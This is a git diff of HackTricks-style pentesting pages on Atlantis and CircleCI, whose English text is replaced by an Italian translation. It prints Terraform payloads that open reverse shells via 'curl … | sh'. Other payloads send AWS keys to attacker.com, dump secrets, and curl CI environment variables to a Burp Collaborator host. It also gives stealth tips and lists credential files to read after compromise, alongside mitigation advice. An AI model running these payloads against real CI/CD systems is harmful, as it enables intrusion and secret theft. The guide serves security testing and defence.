-There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file.
+Non c'è alcuna opzione per consentire di **specificare** questi script nel **file `/atlantis.yml`** del repo.
**Workflow**
-In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
-Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
+Nella configurazione del repo (configurazione lato server) puoi [**specificare un nuovo workflow predefinito**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), o [**creare nuovi workflow personalizzati**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Puoi anche **specificare** quali **repo** possono **accedere** ai **nuovi** generati.\
+Poi, puoi consentire al file **atlantis.yaml** di ciascun repo di **specificare il workflow da utilizzare.**
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Se il flag [**configurazione lato server**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` è impostato su **True**, i workflow possono essere **specificati** nel file **`atlantis.yaml`** di ciascun repo. È anche potenzialmente necessario che **`allowed_overrides`** specifichi anche **`workflow`** per **sovrascrivere il workflow** che verrà utilizzato.\
+> Questo darà fondamentalmente **RCE nel server di Atlantis a qualsiasi utente che può accedere a quel repo**.
>
> ```yaml
> # atlantis.yaml
@@ -124,21 +124,20 @@ Then, you can allow the **atlantis.yaml** file of each repo to **specify the wor
> steps: - run: my custom apply command
> ```
-**Conftest Policy Checking**
+**Controllo delle politiche di Conftest**
-Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
+Atlantis supporta l'esecuzione di **politiche** [**conftest**](https://www.conftest.dev/) **lato server** contro l'output del piano. I casi d'uso comuni per utilizzare questo passaggio includono:
-- Denying usage of a list of modules
-- Asserting attributes of a resource at creation time
-- Catching unintentional resource deletions
-- Preventing security risks (ie. exposing secure ports to the public)
+- Negare l'uso di un elenco di moduli.
+- Affermare gli attributi di una risorsa al momento della creazione.
+- Catturare eliminazioni di risorse non intenzionali.
+- Prevenire rischi per la sicurezza (ad es. esporre porte sicure al pubblico).
-You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
+Puoi controllare come configurarlo in [**la documentazione**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
-### Atlantis Commands
-
-[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
+### Comandi di Atlantis
+[**Nella documentazione**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) puoi trovare le opzioni che puoi utilizzare per eseguire Atlantis:
```bash
# Get help
atlantis help
@@ -161,94 +160,82 @@ atlantis apply [options] -- [terraform apply flags]
## --verbose
## You can also add extra terraform options
```
-
### Attacks
> [!WARNING]
-> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
-
-You can fix it by running:
+> Se durante lo sfruttamento trovi questo **errore**: `Error: Error acquiring the state lock`
+Puoi risolverlo eseguendo:
```
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
```
+#### Atlantis plan RCE - Modifica della configurazione in una nuova PR
-#### Atlantis plan RCE - Config modification in new PR
-
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
-
-You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
+Se hai accesso in scrittura a un repository, sarai in grado di creare un nuovo branch e generare una PR. Se puoi **eseguire `atlantis plan`** (o forse viene eseguito automaticamente) **sarai in grado di RCE all'interno del server Atlantis**.
+Puoi farlo facendo [**caricare ad Atlantis una fonte di dati esterna**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Basta inserire un payload come il seguente nel file `main.tf`:
```json
data "external" "example" {
- program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
+program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
+**Attacco più furtivo**
-**Stealthier Attack**
-
-You can perform this attack even in a **stealthier way**, by following this suggestions:
-
-- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+Puoi eseguire questo attacco anche in modo **più furtivo**, seguendo questi suggerimenti:
+- Invece di aggiungere direttamente la rev shell nel file terraform, puoi **caricare una risorsa esterna** che contiene la rev shell:
```javascript
module "not_rev_shell" {
- source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
+source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
```
+Puoi trovare il codice rev shell in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
-You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+- Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa come: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **Invece** di creare un **PR per master** per attivare Atlantis, **crea 2 branch** (test1 e test2) e crea un **PR da uno all'altro**. Quando hai completato l'attacco, basta **rimuovere il PR e i branch**.
-- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
-
-#### Atlantis plan Secrets Dump
-
-You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
+#### Dump dei segreti del piano Atlantis
+Puoi **dumpare i segreti usati da terraform** eseguendo `atlantis plan` (`terraform plan`) mettendo qualcosa del genere nel file terraform:
```json
output "dotoken" {
- value = nonsensitive(var.do_token)
+value = nonsensitive(var.do_token)
}
```
+#### Atlantis apply RCE - Modifica della configurazione in una nuova PR
-#### Atlantis apply RCE - Config modification in new PR
+Se hai accesso in scrittura a un repository, sarai in grado di creare un nuovo branch e generare una PR. Se puoi **eseguire `atlantis apply`, sarai in grado di RCE all'interno del server Atlantis**.
-If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
+Tuttavia, di solito dovrai bypassare alcune protezioni:
-However, you will usually need to bypass some protections:
-
-- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
- - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
- - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-
-Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-You just need to make sure some payload like the following ones ends in the `main.tf` file:
+- **Mergeable**: Se questa protezione è impostata in Atlantis, puoi eseguire **`atlantis apply` solo se la PR è mergeable** (il che significa che la protezione del branch deve essere bypassata).
+- Controlla i potenziali [**bypass delle protezioni del branch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- **Approved**: Se questa protezione è impostata in Atlantis, **un altro utente deve approvare la PR** prima che tu possa eseguire `atlantis apply`
+- Per impostazione predefinita, puoi abusare del [**token Gitbot per bypassare questa protezione**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+Eseguendo **`terraform apply` su un file Terraform malevolo con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
+Devi solo assicurarti che un payload come i seguenti termini nel file `main.tf`:
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
- provisioner "local-exec" {
- command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
- }
+provisioner "local-exec" {
+command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
+}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
- provisioner "local-exec" {
- command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
- }
+provisioner "local-exec" {
+command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
+}
}
```
+Segui i **suggerimenti della tecnica precedente** per eseguire questo attacco in modo **più furtivo**.
-Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
-
-#### Terraform Param Injection
-
-When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
+#### Iniezione di Parametri Terraform
+Quando si esegue `atlantis plan` o `atlantis apply`, terraform viene eseguito sotto, puoi passare comandi a terraform da atlantis commentando qualcosa come:
```bash
atlantis plan --
atlantis plan -- -h #Get terraform plan help
@@ -256,18 +243,17 @@ atlantis plan -- -h #Get terraform plan help
atlantis apply --
atlantis apply -- -h #Get terraform apply help
```
+Qualcosa che puoi passare sono le variabili di ambiente che potrebbero essere utili per bypassare alcune protezioni. Controlla le variabili di ambiente di terraform in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
-Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
+#### Workflow personalizzato
-#### Custom Workflow
-
-Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
-This possibility was mentioned in a previous section:
+Eseguire **comandi di build personalizzati malevoli** specificati in un file `atlantis.yaml`. Atlantis utilizza il file `atlantis.yaml` dal ramo della pull request, **non** da `master`.\
+Questa possibilità è stata menzionata in una sezione precedente:
> [!CAUTION]
-> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
+> Se il flag [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` è impostato su **True**, i workflow possono essere **specificati** nel file **`atlantis.yaml`** di ciascun repo. È anche potenzialmente necessario che **`allowed_overrides`** specifichi anche **`workflow`** per **sovrascrivere il workflow** che verrà utilizzato.
>
-> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+> Questo darà fondamentalmente **RCE nel server di Atlantis a qualsiasi utente che può accedere a quel repo**.
>
> ```yaml
> # atlantis.yaml
@@ -286,107 +272,101 @@ This possibility was mentioned in a previous section:
> - run: my custom apply command
> ```
-#### Bypass plan/apply protections
-
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
+#### Bypassare le protezioni di plan/apply
+Se il flag [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _ha_ `apply_requirements` configurato, è possibile per un repo **modificare le protezioni di plan/apply per bypassarle**.
```yaml
repos:
- - id: /.*/
- apply_requirements: []
+- id: /.*/
+apply_requirements: []
```
-
#### PR Hijacking
-If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
+Se qualcuno invia **`atlantis plan/apply` commenti sulle tue pull request valide,** farà sì che terraform venga eseguito quando non lo desideri.
-Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
+Inoltre, se non hai configurato nella **protezione del branch** di chiedere di **rivalutare** ogni PR quando viene **inviato un nuovo commit** su di essa, qualcuno potrebbe **scrivere configurazioni dannose** (controlla gli scenari precedenti) nella configurazione di terraform, eseguire `atlantis plan/apply` e ottenere RCE.
-This is the **setting** in Github branch protections:
+Questa è la **configurazione** nelle protezioni del branch di Github:
.png>)
#### Webhook Secret
-If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
+Se riesci a **rubare il webhook secret** utilizzato o se **non viene utilizzato alcun webhook secret**, potresti **chiamare il webhook di Atlantis** e **invochare comandi atlatis** direttamente.
#### Bitbucket
-Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
+Bitbucket Cloud **non supporta i webhook secret**. Questo potrebbe consentire agli attaccanti di **falsificare richieste da Bitbucket**. Assicurati di consentire solo gli IP di Bitbucket.
-- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
-- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
-- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
+- Questo significa che un **attaccante** potrebbe fare **richieste false ad Atlantis** che sembrano provenire da Bitbucket.
+- Se stai specificando `--repo-allowlist`, allora potrebbero solo falsificare richieste relative a quei repo, quindi il danno massimo che potrebbero fare sarebbe pianificare/applicare sui tuoi stessi repo.
+- Per prevenire questo, consenti solo gli [indirizzi IP di Bitbucket](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (vedi indirizzi IPv4 in uscita).
### Post-Exploitation
-If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
+Se sei riuscito ad accedere al server o almeno hai ottenuto un LFI, ci sono alcune cose interessanti che dovresti provare a leggere:
-- `/home/atlantis/.git-credentials` Contains vcs access credentials
-- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
-- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Terraform stated file
- - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
-- `/proc/1/environ` Env variables
-- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
+- `/home/atlantis/.git-credentials` Contiene credenziali di accesso vcs
+- `/atlantis-data/atlantis.db` Contiene credenziali di accesso vcs con più informazioni
+- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` File di stato di Terraform
+- Esempio: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
+- `/proc/1/environ` Variabili d'ambiente
+- `/proc/[2-20]/cmdline` Linea di comando di `atlantis server` (può contenere dati sensibili)
-### Mitigations
+### Mitigazioni
-#### Don't Use On Public Repos
+#### Non Usare Su Repo Pubblici
-Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
+Poiché chiunque può commentare su pull request pubbliche, anche con tutte le mitigazioni di sicurezza disponibili, è comunque pericoloso eseguire Atlantis su repo pubblici senza una corretta configurazione delle impostazioni di sicurezza.
-#### Don't Use `--allow-fork-prs`
+#### Non Usare `--allow-fork-prs`
-If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
+Se stai eseguendo su un repo pubblico (cosa non raccomandata, vedi sopra), non dovresti impostare `--allow-fork-prs` (di default è false) perché chiunque può aprire una pull request dal proprio fork al tuo repo.
#### `--repo-allowlist`
-Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
+Atlantis richiede di specificare una lista di autorizzazione di repository da cui accetterà webhook tramite il flag `--repo-allowlist`. Ad esempio:
-- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
-- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
-- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
-- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
+- Repository specifici: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
+- L'intera tua organizzazione: `--repo-allowlist=github.com/runatlantis/*`
+- Ogni repository nella tua installazione di GitHub Enterprise: `--repo-allowlist=github.yourcompany.com/*`
+- Tutti i repository: `--repo-allowlist=*`. Utile quando sei in una rete protetta ma pericoloso senza impostare anche un webhook secret.
-This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
+Questo flag garantisce che la tua installazione di Atlantis non venga utilizzata con repository che non controlli. Vedi `atlantis server --help` per ulteriori dettagli.
-#### Protect Terraform Planning
+#### Proteggi la Pianificazione di Terraform
-If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that `terraform apply` approvals are not enough. It is possible to run malicious code in a `terraform plan` using the [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) or by specifying a malicious provider. This code could then exfiltrate your credentials.
+Se gli attaccanti inviano pull request con codice Terraform dannoso è nel tuo modello di minaccia, allora devi essere consapevole che le approvazioni di `terraform apply` non sono sufficienti. È possibile eseguire codice dannoso in un `terraform plan` utilizzando la [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) o specificando un provider dannoso. Questo codice potrebbe quindi esfiltrare le tue credenziali.
-To prevent this, you could:
+Per prevenire questo, potresti:
-1. Bake providers into the Atlantis image or host and deny egress in production.
-2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
-3. Modify your [server-side repo configuration](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the `plan` to continue. Conftest could be of use here.
+1. Includere i provider nell'immagine di Atlantis o ospitarli e negare l'uscita in produzione.
+2. Implementare internamente il protocollo del registro dei provider e negare l'uscita pubblica, in questo modo controlli chi ha accesso in scrittura al registro.
+3. Modificare il passo `plan` della tua [configurazione del repo lato server](https://www.runatlantis.io/docs/server-side-repo-config.html) per convalidare l'uso di provider o data source non consentiti o PR da utenti non autorizzati. Potresti anche aggiungere una convalida extra a questo punto, ad esempio richiedendo un "pollice in su" sulla PR prima di consentire la continuazione del `plan`. Conftest potrebbe essere utile qui.
#### Webhook Secrets
-Atlantis should be run with Webhook secrets set via the `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` environment variables. Even with the `--repo-allowlist` flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab).
+Atlantis dovrebbe essere eseguito con i webhook secret impostati tramite le variabili d'ambiente `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Anche con il flag `--repo-allowlist` impostato, senza un webhook secret, gli attaccanti potrebbero fare richieste ad Atlantis spacciandosi per un repository autorizzato. I webhook secret garantiscono che le richieste webhook provengano effettivamente dal tuo fornitore VCS (GitHub o GitLab).
-If you are using Azure DevOps, instead of webhook secrets add a basic username and password.
+Se stai usando Azure DevOps, invece dei webhook secret, aggiungi un nome utente e una password di base.
-#### Azure DevOps Basic Authentication
+#### Autenticazione di Base di Azure DevOps
-Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location.
+Azure DevOps supporta l'invio di un'intestazione di autenticazione di base in tutti gli eventi webhook. Questo richiede l'uso di un URL HTTPS per la tua posizione webhook.
#### SSL/HTTPS
-If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the `--ssl-cert-file` and `--ssl-key-file` flags.
+Se stai usando webhook secret ma il tuo traffico è su HTTP, allora i webhook secret potrebbero essere rubati. Abilita SSL/HTTPS utilizzando i flag `--ssl-cert-file` e `--ssl-key-file`.
-#### Enable Authentication on Atlantis Web Server
+#### Abilita l'Autenticazione sul Server Web di Atlantis
-It is very recommended to enable authentication in the web service. Enable BasicAuth using the `--web-basic-auth=true` and setup a username and a password using `--web-username=yourUsername` and `--web-password=yourPassword` flags.
+È molto raccomandato abilitare l'autenticazione nel servizio web. Abilita BasicAuth utilizzando `--web-basic-auth=true` e imposta un nome utente e una password utilizzando i flag `--web-username=yourUsername` e `--web-password=yourPassword`.
-You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` and `ATLANTIS_WEB_PASSWORD=yourPassword`.
+Puoi anche passare questi come variabili d'ambiente `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` e `ATLANTIS_WEB_PASSWORD=yourPassword`.
-### References
+### Riferimenti
- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index 8b8a1fea1..fa51cec7e 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -4,256 +4,232 @@
### Basic Information
-[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) is a Continuos Integration platform where you can **define templates** indicating what you want it to do with some code and when to do it. This way you can **automate testing** or **deployments** directly **from your repo master branch** for example.
+[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) è una piattaforma di Integrazione Continua dove puoi **definire modelli** che indicano cosa vuoi che faccia con del codice e quando farlo. In questo modo puoi **automatizzare i test** o **le distribuzioni** direttamente **dal tuo ramo master del repo**, per esempio.
### Permissions
-**CircleCI** **inherits the permissions** from github and bitbucket related to the **account** that logs in.\
-In my testing I checked that as long as you have **write permissions over the repo in github**, you are going to be able to **manage its project settings in CircleCI** (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).
+**CircleCI** **eredita i permessi** da github e bitbucket relativi all'**account** che effettua il login.\
+Nei miei test ho verificato che finché hai **permessi di scrittura sul repo in github**, sarai in grado di **gestire le impostazioni del progetto in CircleCI** (impostare nuove chiavi ssh, ottenere chiavi api del progetto, creare nuovi rami con nuove configurazioni CircleCI...).
-However, you need to be a a **repo admin** in order to **convert the repo into a CircleCI project**.
+Tuttavia, devi essere un **admin del repo** per **convertire il repo in un progetto CircleCI**.
### Env Variables & Secrets
-According to [**the docs**](https://circleci.com/docs/2.0/env-vars/) there are different ways to **load values in environment variables** inside a workflow.
+Secondo [**la documentazione**](https://circleci.com/docs/2.0/env-vars/) ci sono diversi modi per **caricare valori nelle variabili di ambiente** all'interno di un workflow.
#### Built-in env variables
-Every container run by CircleCI will always have [**specific env vars defined in the documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) like `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` or `CIRCLE_USERNAME`.
+Ogni container eseguito da CircleCI avrà sempre [**variabili di ambiente specifiche definite nella documentazione**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) come `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` o `CIRCLE_USERNAME`.
#### Clear text
-You can declare them in clear text inside a **command**:
-
+Puoi dichiararle in chiaro all'interno di un **comando**:
```yaml
- run:
- name: "set and echo"
- command: |
- SECRET="A secret"
- echo $SECRET
+name: "set and echo"
+command: |
+SECRET="A secret"
+echo $SECRET
```
-
-You can declare them in clear text inside the **run environment**:
-
+Puoi dichiararli in testo chiaro all'interno dell'**ambiente di esecuzione**:
```yaml
- run:
- name: "set and echo"
- command: echo $SECRET
- environment:
- SECRET: A secret
+name: "set and echo"
+command: echo $SECRET
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **build-job environment**:
-
+Puoi dichiararli in testo chiaro all'interno dell'**ambiente build-job**:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
-
-You can declare them in clear text inside the **environment of a container**:
-
+Puoi dichiararli in testo chiaro all'interno dell'**ambiente di un container**:
```yaml
jobs:
- build-job:
- docker:
- - image: cimg/base:2020.01
- environment:
- SECRET: A secret
+build-job:
+docker:
+- image: cimg/base:2020.01
+environment:
+SECRET: A secret
```
+#### Segreti del Progetto
-#### Project Secrets
-
-These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
-You can see them **declared in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
+Questi sono **segreti** che saranno **accessibili** solo dal **progetto** (da **qualsiasi ramo**).\
+Puoi vederli **dichiarati in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
.png>)
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
+> La funzionalità "**Importa Variabili**" consente di **importare variabili da altri progetti** a questo.
-#### Context Secrets
+#### Segreti di Contesto
-These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
+Questi sono segreti che sono **a livello di org**. Per **default, qualsiasi repo** sarà in grado di **accedere a qualsiasi segreto** memorizzato qui:
.png>)
> [!TIP]
-> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
-> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
+> Tuttavia, nota che un gruppo diverso (invece di Tutti i membri) può essere **selezionato per dare accesso ai segreti solo a persone specifiche**.\
+> Questo è attualmente uno dei migliori modi per **aumentare la sicurezza dei segreti**, per non consentire a tutti di accedervi ma solo ad alcune persone.
-### Attacks
+### Attacchi
-#### Search Clear Text Secrets
+#### Cerca Segreti in Chiaro
-If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
+Se hai **accesso al VCS** (come github) controlla il file `.circleci/config.yml` di **ogni repo su ogni ramo** e **cerca** potenziali **segreti in chiaro** memorizzati lì.
-#### Secret Env Vars & Context enumeration
+#### Enumerazione di Variabili Env Segrete & Contesto
-Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_.
+Controllando il codice puoi trovare **tutti i nomi dei segreti** che vengono **utilizzati** in ciascun file `.circleci/config.yml`. Puoi anche ottenere i **nomi dei contesti** da quei file o controllarli nella console web: _https://app.circleci.com/settings/organization/github/\/contexts_.
-#### Exfiltrate Project secrets
+#### Esfiltrare Segreti del Progetto
> [!WARNING]
-> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
+> Per **esfiltrare TUTTI** i **SECRETI** del progetto e del contesto, hai **solo** bisogno di avere accesso **SCRITTURA** a **solo 1 repo** nell'intera org di github (_e il tuo account deve avere accesso ai contesti, ma per default tutti possono accedere a ogni contesto_).
> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
-
-All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
+> La funzionalità "**Importa Variabili**" consente di **importare variabili da altri progetti** a questo. Pertanto, un attaccante potrebbe **importare tutte le variabili del progetto da tutti i repo** e poi **esfiltrare tutte insieme**.
+Tutti i segreti del progetto sono sempre impostati nell'env dei lavori, quindi basta chiamare env e offuscarlo in base64 per esfiltrare i segreti nella **console del log web dei flussi di lavoro**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env
+exfil-env-workflow:
+jobs:
+- exfil-env
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+Se **non hai accesso alla console web** ma hai **accesso al repo** e sai che CircleCI è utilizzato, puoi semplicemente **creare un workflow** che viene **attivato ogni minuto** e che **esfiltra i segreti a un indirizzo esterno**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
